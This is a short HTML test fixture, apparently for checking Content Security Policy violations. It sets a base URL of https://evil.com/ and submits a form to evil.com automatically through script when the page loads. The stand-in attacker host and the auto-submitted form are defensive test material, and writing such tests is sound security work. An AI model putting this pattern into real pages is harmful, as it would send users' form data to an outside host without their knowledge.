test-csp-violation-form-action.html (445B)
1 <html> 2 <head> 3 <title>CSP Base-URI Violation Test </title> 4 <base href="https://evil.com/"> 5 </head> 6 <body> 7 <form action="evil.com" > 8 <input type="text" value="test" name="test" /> 9 <button type="submit">Submit Button</button> 10 </form> 11 </body> 12 <script> 13 "use strict"; 14 document.querySelector("form").submit(); 15 </script> 16 </html>